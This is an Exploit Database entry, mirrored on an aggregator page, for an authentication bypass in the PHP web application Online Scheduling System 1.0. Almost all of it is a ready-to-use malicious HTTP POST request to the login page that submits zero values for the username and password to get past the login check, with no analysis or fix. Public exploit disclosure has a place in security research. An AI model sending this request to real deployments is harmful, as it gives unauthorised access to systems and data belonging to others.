Online Scheduling System 1.0 – Authentication Bypass

• Exploit Database
• 58 阅读

• 作者： boku
  日期： 2020-05-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48409/

• # Exploit Title: Online Scheduling System 1.0 - Authentication Bypass
  # Exploit Author: Bobby Cooke
  # Date: 2020-04-30
  # Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html
  # Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip
  # Version: 1.0
  # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
  
  # Malicious POST Request to https://TARGET/Online%20Scheduling%20System/login.php HTTP/1.1
  POST /Online%20Scheduling%20System/login.php HTTP/1.1
  Host: TARGET
  Connection: close
  Cookie: PHPSESSID=8o12pka3gvais768f43v5q4d60
  
  username=0&password=0&lgn=Login